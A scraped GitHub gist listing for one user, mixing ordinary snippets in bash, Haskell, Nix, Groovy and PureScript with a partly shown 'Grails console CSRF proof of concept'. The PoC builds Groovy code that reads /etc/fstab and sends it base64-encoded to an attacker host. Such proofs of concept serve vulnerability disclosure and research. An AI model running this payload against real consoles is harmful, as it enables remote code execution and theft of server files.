Skip to content

Instantly share code, notes, and snippets.

berdario

Block or report user

Report or block berdario

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@berdario
berdario / gist:da882abe5ba77533edf7f43872b8b80e
Last active Oct 12, 2016
How to write to a file in bash without reopening the file multiple times
View gist:da882abe5ba77533edf7f43872b8b80e
exec 3> /tmp/foo
echo "1" >&3
echo "2" >&3
exec 3>&-
View -
twisted.mail.test.test_imap
AuthenticatorTests
testCramMD5 ... [OK]
testFailedCramMD5 ... [OK]
testFailedLOGIN ... [OK]
testFailedPLAIN ... [OK]
testLOGIN ... [OK]
testPLAIN ... [OK]
ClientCapabilityTests
test_categoryAtoms ... [OK]
View Bar.groovy
package foo
class Bar {
static final map = foo
static final foo = [1,2,3]
}
@berdario
berdario / poc.html
Created Aug 8, 2016
Grails console CSRF proof of concept
View poc.html
<html>
<body>
<script>
consoleUrl = 'https://victim.example.com/path/to/console'
attackerHost = 'http://localhost:7979/'
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument
function newFrame(content){
@berdario
berdario / foo2.hs
Created Jul 22, 2016
Constant Applicative Form sharing/evaluation (will get different output in ghci or when compiled)
View foo2.hs
foo :: String -> IO ()
foo dummy = do
let (x, y) = (1, 1)
(x, y) <- pure $ (trace "x" (x+1), (trace "y" y*3)
print $ show (y + y) <> dummy
print $ show (x + x) <> dummy
foo2 x = foo (trace "outerfoo" "foo")
foo3 xs dummy = print $ show (map (+1) xs) <> dummy
@berdario
berdario / foo.hs
Created Jul 22, 2016
State monad does not force ordering
View foo.hs
import Control.Monad.State (execState, get, modify)
import Debug.Trace (trace)
foo :: IO ()
foo = do
(x, y) <- pure $ flip execState (1,1) $ do
(x, y) <- get
modify (\(x, y) -> (trace "x1" (x+1), (trace "y1" y)))
(x, y) <- get
View default.nix
{
master = pkgs.python35Packages.buildPythonApplication (inputs // {
preUnpackHook = ''
PDIR = $(pwd)
echo "qui: $PDIR"
cd $(mktemp -d)
git clone $PDIR .
export sourceRoot="./checkprices"
'';
checkPhase = "env MYPYPATH=$PWD/stubs py.test";
View logical.nix
let
pkgs = import ./channel.nix;
foo_project = import foo/default.nix;
main_service = cmd: {
wantedBy = [ "multi-user.target" ]; # Specify that the system wants this service to run.
after = [ "network.target" ]; # Start the webserver after the network has come up.
serviceConfig = {
ExecStart = cmd;
User = "nobody";
View existential.purs
import Data.Exists
data Showable_ a = Showable_ a
data Showable = Showable (Exists Showable_)
instance showable_ :: (Show a) => Show (Showable_ a) where
show (Showable_ x) = show x
instance showable :: (Show (Showable_ a)) => Show Showable where
show (Showable v) = runExists show' v
You can’t perform that action at this time.